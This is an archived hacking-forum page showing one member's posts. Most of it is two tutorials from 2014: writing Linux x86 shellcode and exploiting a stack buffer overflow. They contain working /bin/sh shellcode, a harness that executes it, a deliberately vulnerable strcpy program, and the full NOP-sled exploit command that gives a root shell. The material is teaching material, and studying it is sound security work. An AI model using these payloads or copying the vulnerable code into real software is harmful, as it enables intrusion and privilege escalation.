This forum is in archive mode. You will not be able to post new content.

Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - Ergo

Pages: [1]
1
Tutorials / Re: Circuit Simplification For Idiots.
« on: December 14, 2014, 05:24:04 PM »
Quote from: HTH on October 16, 2014, 10:58:42 PM
I am an engineering student at the University of Mind Your Own Fucking Buisness.
Laughed kind of hard at this.

Good post. Funnily enough, this is more or less everything I learned doing physics at AS Level (your notes are definitely better than mine were). Hopefully it should give people an insight into circuits.

2
Tutorials / Re: Let's write a Buffer Overflow
« on: December 14, 2014, 04:42:41 PM »
Quote from: 0E 800 on December 13, 2014, 10:53:37 PM
Thank you for your excellent contributions. Welcome to the forum. I look forward to reading more from you.


Thank you, I appreciate the reply. I look forward to posting more.

3
Tutorials / Re: Let's write a Buffer Overflow
« on: December 13, 2014, 10:49:25 PM »
Thank you.

4
Tutorials / Re: Let's write a Buffer Overflow
« on: December 13, 2014, 09:43:55 PM »
I originally posted it last year:
http://www.hackforums.net/showthread.php?tid=3723345


The formatting on mybb is different to on here so I had to cut it down a little. Still my work.

5
Tutorials / Let's write some Shellcode
« on: December 13, 2014, 09:30:06 PM »


Let's write some Shellcode
This is a followup thread from my previous thread https://evilzone.org/tutorials/let's-write-a-buffer-overflow/ and although it's not essential, I suggest you read it if you would like to understand how what will be produced in this tutorial can be used in an exploit.
In recent days I've noticed a lot of people don't understand how Shellcode is created and proceed to speak of it as if it's some mystical art. Honestly, it's anything but. Shellcode is simply machine code in a much nicer form. In this tutorial you will discover the basics of designing Executable Shellcode. For a tutorial on Return Oriented Shellcode, please refer to Divine's wonderful tutorial on Return Oriented Programming.


What can we use Shellcode to do?
In short, anything (within reason).


Note: I will be covering both Linux and Windows Shellcode in two separate tutorials


How do we create Executable Shellcode?
Good question, and an easy one to answer at that too. You could write Shellcode by hand, however that could become extremely tedious. What we're going to be doing is writing our wanted code to be executed in ASM and CONVERT it to Shellcode. So let's begin with a simple "Hello Ergo!" example:


Below is the basic assembly code for the program.


Code: [Select]
;example.asm


global _start


SECTION .text


_start:
    mov eax, 0x4
    mov ebx, 0x1
    mov ecx, msg           ;set the message
    mov edx, 0xD
    int 0x80               ;display the message
    mov eax, 0x1
    mov ebx, 0x0
    int 0x80               ;quit the program


SECTION .data
    msg db 'Hello Ergo!',0dh,0ah




cogito@ergo:~$ nasm -f elf example.asm
cogito@ergo:~$ ld example.o -o example
cogito@ergo:~$ objdump -d example


example:    file format elf32-i386




Disassembly of section .text:


08048080 <_start>:
8048080:    b8 04 00 00 00        mov    $0x4,%eax
8048085:    bb 01 00 00 00        mov    $0x1,%ebx
804808a:    b9 a4 90 04 08        mov     $0x80490a4,%ecx
804808f:    ba 0d 00 00 00        mov    $0xd,%edx
8048094:    cd 80            int    $0x80
8048096:    b8 01 00 00 00        mov    $0x1,%eax
804809b:    bb 00 00 00 00        mov    $0x0,%ebx
80480a0:    cd 80            int    $0x80And thus the shellcode would be:

\xb8\x04\x00\x00\x00
\xbb\x01\x00\x00\x00
\xb9\xa4\x90\x04\x08
\xba\x0d\x00\x00\x00
\xcd\x80
\xb8\x01\x00\x00\x00
\xbb\x00\x00\x00\x00
\xcd\x80

Now, this won't work as Shellcode there are several rules you need to follow when designing. One of these rules is that we cannot access the .data section. This is because it is not dumped when trying to create the Shellcode. As shown above, msg has been replaced by a memory address. This memory address means NOTHING when the Shellcode is executed on it's own. Only information in the .text section will be displayed.


But how do we print some text if we're only using the .text?
A good question, another simple answer. Instead of the above ASM code, we're going to do something different. Don't worry if you don't understand what I'm doing instantly, I will explain the important areas.


Code: [Select]
global _start


SECTION .text


_start:
    jmp string


    display:
    mov eax, 0x4
    mov ebx, 0x1
    pop ecx           ;set the message
    mov edx, 0xD
    int 0x80               ;display the message
    mov eax, 0x1
    mov ebx, 0x0
    int 0x80               ;quit the program


    string:
    call display
    db 'Hello Ergo!',0dh,0ah

I shouldn't really need to go through much of this as I'm sure you're all fairly competent in ASM, so I'll just go over the main point.
In order to display the text, we need to get a memory address of the text itself. The above method is a pretty smart way to do this. First, the program jumps to the label "string". When it does so, it proceeds to call to the label "display". As you know, when you use the call instruction, the computer pushes the address of the next instruction to be executed onto the stack for future reference (for when the program returns).
In the display label, we've done everything as we normally would with one exception. Instead of doing "mov ecx, msg" we have done "pop ecx". That's because we're now popping the address of the string fro the stack into the appropriate register.


So now this should work, right? Let's assemble and view the bytes.


Code: [Select]
example:     file format elf32-i386


Disassembly of section .text:


08048060 <_start>:
8048060:    eb 1e                    jmp    8048080 <string>


08048062 <display>:
8048062:    b8 04 00 00 00           mov    $0x4,%eax
8048067:    bb 01 00 00 00           mov    $0x1,%ebx
804806c:    59                       pop    %ecx
804806d:    ba 0d 00 00 00           mov    $0xd,%edx
8048072:    cd 80                    int    $0x80
8048074:    b8 01 00 00 00           mov    $0x1,%eax
8048079:    bb 00 00 00 00           mov    $0x0,%ebx
804807e:    cd 80                    int    $0x80


08048080 <string>:
8048080:    e8 dd ff ff ff           call   8048062 <display>
8048085:    48                       dec    %eax
8048086:    65                       gs
8048087:    6c                       insb   (%dx),%es:(%edi)
8048088:    6c                       insb   (%dx),%es:(%edi)
8048089:    6f                       outsl  %ds:(%esi),(%dx)
804808a:    20 45 72                 and    %al,0x72(%ebp)
804808d:    67 6f                    outsl  %ds:(%si),(%dx)
804808f:    21                       .byte 0x21
8048090:    0d                       .byte 0xd
8048091:    0a                       .byte 0xa

and as Shellcode:



\xeb\x1e
\xb8\x04\x00\x00\x00
\xbb\x01\x00\x00\x00
\x59
\xba\x0d\x00\x00\x00
\xcd\x80
\xb8\x01\x00\x00\x00
\xbb\x00\x00\x00\x00
\xcd\x80
\xe8\xdd\xff\xff\xff
\x48
\x65
\x6c
\x6c
\x6f
\x20\x45\x72
\x67\x6f
\x21
\x0d
\x0a

How do we test it and see whether it'll execute or not?
Well there are lots of ways, but my favorite is just to write a quick program in C that uses a function pointer to execute the Shellcode.


Here's our code:


Code: [Select]
//
//Shellcode Executor
//shell.c
//
char code[] = "\xeb\x1e\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0d\x00\x00\x00\xcd\x80​\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xff\x48\x65\x6c​\x6c\x6f\x20\x45\x72\x67\x6f\x21\x0d\x0a";


int main(int argc, char **argv)
{
int (*point)();
point=(int(*)()) code;
(int)(*point)();
}

Which essentially declares a function pointer and then sets it to the address of the Shellcode. The program then proceeds to execute the function as it normally would, except it instead does so as a pointer.


Code: [Select]
cogito@ergo:~$ gcc -o shell shell.c
cogito@ergo:~$ ./shell
Hello Ergo!
cogito@ergo:~$

Success!


Is that all there is to it?
Unfortunately not. As you begin to experiment with Shellcode you will come across a lot of ways that Shellcode does not execute. For example, null bytes could be affecting what's displayed, ASLR could be preventing you from testing out your code, or NX Bit (No-Execute) could also cause some problems. This is why Shellcode writing can get a bit difficult. You need to really begin to understand how the operating system works and how you can bypass it.


So let's try something a little more impressive than just displaying a message. We'll be creating some Shellcode that spawns a shell (hence the name Shellcode). The below code uses the technique above for getting text.


Code: [Select]
shell:     file format elf32-i386




Disassembly of section .text:


08048060 <_start>:
8048060:    eb 1b                    jmp    804807d <location>


08048062 <shell>:
8048062:    b8 00 00 00 00           mov    $0x0,%eax
8048067:    5e                       pop    %esi
8048068:    88 46 07                 mov    %al,0x7(%esi)
804806b:    89 76 08                 mov    %esi,0x8(%esi)
804806e:    89 46 0c                 mov    %eax,0xc(%esi)
8048071:    b0 0b                    mov    $0xb,%al
8048073:    8d 1e                    lea    (%esi),%ebx
8048075:    8d 4e 08                 lea    0x8(%esi),%ecx
8048078:    8d 56 0c                 lea    0xc(%esi),%edx
804807b:    cd 80                    int    $0x80


0804807d <location>:
804807d:    e8 e0 ff ff ff           call   8048062 <shell>
8048082:    2f                       das   
8048083:    62 69 6e                 bound  %ebp,0x6e(%ecx)
8048086:    2f                       das   
8048087:    73 68                    jae    80480f1 <location+0x74>

Will this work? Nope, there are several null bytes. "xor eax,eax" is an alternative to "mov eax,0x0". The difference is that the xor way doesn't produce any null bytes. If we use that, we can combat this problem.
So let's try this again.


Code: [Select]
global _start


SECTION .text


_start:
    jmp location


    shell:
        xor eax,eax
        pop esi
        mov byte [esi+7],al
        mov dword [esi+8],esi
        mov dword [esi+12],eax
        mov al,0xb
        lea ebx,[esi]
        lea ecx,[esi+8]
        lea edx,[esi+12]
        int 0x80


    location:
        call shell
        db "/bin/sh"

Which dumps as:


Code: [Select]
shell:     file format elf32-i386




Disassembly of section .text:


08048060 <_start>:
8048060:    eb 18                    jmp    804807a <location>


08048062 <shell>:
8048062:    31 c0                    xor    %eax,%eax
8048064:    5e                       pop    %esi
8048065:    88 46 07                 mov    %al,0x7(%esi)
8048068:    89 76 08                 mov    %esi,0x8(%esi)
804806b:    89 46 0c                 mov    %eax,0xc(%esi)
804806e:    b0 0b                    mov    $0xb,%al
8048070:    8d 1e                    lea    (%esi),%ebx
8048072:    8d 4e 08                 lea    0x8(%esi),%ecx
8048075:    8d 56 0c                 lea    0xc(%esi),%edx
8048078:    cd 80                    int    $0x80


0804807a <location>:
804807a:    e8 e3 ff ff ff           call   8048062 <shell>
804807f:    2f                       das   
8048080:    62 69 6e                 bound  %ebp,0x6e(%ecx)
8048083:    2f                       das   
8048084:    73 68                    jae    80480ee <location+0x74>

And after using it in our function pointer code:


Code: [Select]
cogito@ergo:~$ ./shell
sh-2.05b$

Another Success.


Thanks for reading and I hope you learned something.

6
Tutorials / Let's write a Buffer Overflow
« on: December 13, 2014, 09:13:19 PM »

Let's write a Buffer Overflow

I've noticed a lot of the people who claim they know hack seem to only know how to use SQLi and XSS and consider those the only existing forms of exploitation. I'm going to make a few tutorials explaining, with examples, other forms of vulnerabilities starting with the classic Buffer Overflow. In this tutorial you will learn about how Buffer Overflows work, and how to create one.


What's a buffer overflow?
A buffer overflow is where you overflow a buffer (Simple, right?).


What does a Buffer Overflow exploit do?
A Buffer Overflow's main objective is to overwrite the memory address within the EIP (Extended Instruction Pointer) register (If that means nothing to you, you should probably learn ASM, however for this tutorial I will give a brief explanation as to what it is). The EIP register can be considered a variable within the processor. It is known as something called an Address Register, meaning it stores memory addresses within it. The EIP register is used to point to the next instruction that is going to be executed. During calling functions, the value of EIP is stored in the stack and is later collected and put back into the register. If you can replace EIP's value, you can change what's executed. That's why we use buffer overflows.


Okay then, what do we need to do?
First, for this scenario, we're going to need our vulnerable program. Here's one I made earlier:


Code: [Select]
//person.c
#include <stdio.h>
vuln(char *arr)
{
char person[100];
strcpy(person, arr);
printf("Your favorite person is: %s\n", person);
}
main(int argc, char * argv[])
{
vuln(argv[1]);
printf("Horray for %s\n", argv[1]);
}


This program just outputs the user's favorite word that they enter as a command-line argument. For example "./person ergo" would output "Your favorite person is: ergo".
Okay, so let's compile that with gcc (or your favorite C compiler) and get overflowing. (We'll be compiling using the command "gcc -mpreferred-stack-boundary=2 -o person -ggdb person.c" run as the root user). You may get some warnings during compilation, but hey, what do you expect when you're trying to make vulnerable code.
Now we need to overwrite the EIP register. We can do this and check whether it's worked using gdb (The GNU Project Debugger).


Code: [Select]
root@Root:~Desktop# gdb -q person
Reading symbols from /root/Desktop/person...done.
(gdb)


Now let's use perl to go outside the buffer size by sending 200 characters instead of the maximum size of our bugger of 100.


Code: [Select]
(gdb) run `perl -e 'print "A" x 200'`
Starting program: /root/Desktop/person `perl -e 'print "A" x 200'`
Program received signal SIGSEGV, Segmentation fault.
0x4002269f in strlen () from /lib/libc.so.6


You should have a similar error to this. Now let's see if we've overwritten the EIP register.


Code: [Select]
(gdb) info reg eip
eip 0x4002269f 0x4002269f


Apparently you did not and I will explain why. Below is a diagram of how the program variables and registers appear within the stack.



--
|ESP|person|EBP|EIP|arr|
--
<--

The reason this didn't work is because there are several nested functions (Including the printf command, which is where our error "0x4002269f in strlen () from /lib/libc.so.6" is coming from. Printf actually calls vfprintf() and then that calls strlen, creating a lot of jmps in the code)in the program which means that there are multiple stack frames. The perl print has most likely overwritten past EIP and then overwritten some important function arguments stored in those stack frames. We can use the list command in gdb to view our C source and decide the best place to add a breakpoint.


Code: [Select]
(gdb) list
1 //person.c
2 #include <stdio.h>
3 vuln(char *arr)
4 {
5 char person[100];
6 strcpy(person, arr);
7 printf("Your favorite person is: %s\n", person);
8 }
9 main(int argc, char * argv[])
10 {
11 vuln(argv[1]);
12 printf("Horray for %s\n", argv[1]);
(gdb) b 7
Breakpoint 1 at 0x8048464: file person.c, line 7.


"b" is the breakpoint command. I've set it to line 7 because that's where the printf function is, which will lead to our previous error "0x4002269f in strlen () from /lib/libc.so.6". Now if we run the program again;


Code: [Select]
(gdb) run `perl -e 'print "A" x 200'`
Starting program: /root/Desktop/person `perl -e 'print "A" x 200'`
Breakpoint 1, vuln (arr=0x41414141 "") at person.c:7
7   printf("Your favorite person is: %s\n", person);


Now we can see we have made arr become equal to our memory address 0x41414141, however we need to remove the NULL that is also there so we need to use less A's until we get to the perfect number. So let's delete our last breakpoint and do it.


Code: [Select]
(gdb) d 1
(gdb) run `perl -e 'print "A" x 151
The program being debugged has been started already.
Start it from the beginning? (y or n) y


Starting program: /root/Desktop/person `perl -e 'print "A" x 151'`
Your favorite person is: AA
AA
AA


Program received signal SIGSEGV, Segmentation fault.
(gdb) info reg ebp eip
ebp   0xbfff2041   0xbfff2041
eip   0x80484dc   0x80484dc


As you can see, the last part of the ebp register was changed to the character of A, however we still need to overwrite with 7 more bytes for the perfect number of characters to fill the ebp register and the EBP register AND the EIP register. This is because as you see below, we still have to use 3 more bytes to fill the EBP register, however our aim is to corrupt the EIP register, so we need to overflow 4 more bytes on top of the three bytes to actually corrupt EIP.


Code: [Select]
(gdb) run `perl -e 'print "A" x 158
The program being debugged has been started already.
Start it from the beginning? (y or n) y


Starting program: /root/Desktop/person `perl -e 'print "A" x 158'`
Your favorite person is: AA
AA
AA


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()


Now let's check what's happened with  it.


Code: [Select]
(gdb) info reg ebp eip
ebp   0x41414141   0x41414141
eip   0x41414141   0x41414141


So now we have our perfect number. Next we're going to need some shellcode and the value of ESP. What's the ESP register? It's the register that points to where the top of the stack is. We go about getting it from our own little C program as shown below. (Just a side-note that this is in AT&T Syntax and not Intel syntax. You can change it with a few modifications).


Code: [Select]
#include <stdio.h>
unsigned long stackpointer(void)
{
__asm__("movl %esp, %eax);
}
int main()
{
printf("ESP: 0x%x\n", stackpointer());
}


Compile and run several times and we'll get the same address (If you don't, disable ASLR).


Code: [Select]
root@Root:~/Desktop#./regesp
ESP: 0xbffffef1


You're probably wondering why we actually need this. It's needed because we want to overwrite eip to get to a NOP sled that we will create. A NOP sled is a load of NOP instructions that do nothing (NOP = No Operation). The hex code 0x90 is usually representative of NOP.
 "What's shellcode?" I hear you cry. Shellcode can be used to execute commands on a system. For the purpose of this tutorial, we're going to be working with Aleph1's shell code and save us the time of writing our own. It is as follows below:
\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
Now let's put that into a perl variable called shellcode.


Code: [Select]
root@Root:~/Desktop$ perl -e 'print \x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";' > shellcode


Now you can calculate the size of your shellcode with the command "wc -c shellcode". If you're using the same shellcode, that should come out to 53 bytes.
Our attack buffer is, in this case, 158 bytes. We need all the parts of our exploit to add up to 158 bytes. It's generally good practice to have about half of that for the NOP sled. So we'll use about 75 bytes. Next comes the difficult bit. We need to guess our return address so that it ends up in the NOP sled. I'll estimate 0x80. I subtract this fro the ESP value as shown below to get my Return Address.


0xbffffef1 - 0x80 = 0xBFFFFE71


Now we need to convert this address into Little-Endian format because that's the architecture we are working with (This just involved flipping the bytes of the memory address around in shellcode). This gives us:


\x71\xfe\xff\xbf


Now to find out how many times we need this, we need to do a simple calculation; (Attack Buffer Size - Number of NOP bytes - Number of Bytes of Shellcode) / 4 bytes that make up our return address.


(158-75-53)/4 = 7.5


That means we need to repeat this address 7 times (always round down). SO let's recap;
We have an attack buffer of 158 bytes. We have 75 bytes of NOP for our NOP sled, 53 bytes of shellcode to be executed, and 28 bytes of our return address (7*4). This adds together to give 156 bytes overall. However, if we try this;


Code: [Select]
root@Root:~/Desktop$ ./person `perl -e 'print "\x90"x75';` `cat shellcode` `perl -e 'print "\x71\xfe\xff\xbf"x7';`
Segmentation fault


We get a nice error. That's because 156 does not equal 158. We need two more NOP bytes for it to work.


Code: [Select]
root@Root:~/Desktop$ ./person `perl -e 'print "\x90"x77';` `cat shellcode` `perl -e 'print "\x71\xfe\xff\xbf"x7';`
Your favorite person is:


Followed by a LOT of random characters until finally you get what you wanted.


Code: [Select]
root@Root:~/Desktop#


Root Access. Thanks for reading. I hope you learned a lot, as this SHOULD have given you a basic insight into how Buffer Overflows work and how you can use them to execute code.


Also, sorry for the lack of formatting.

Pages: [1]


Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.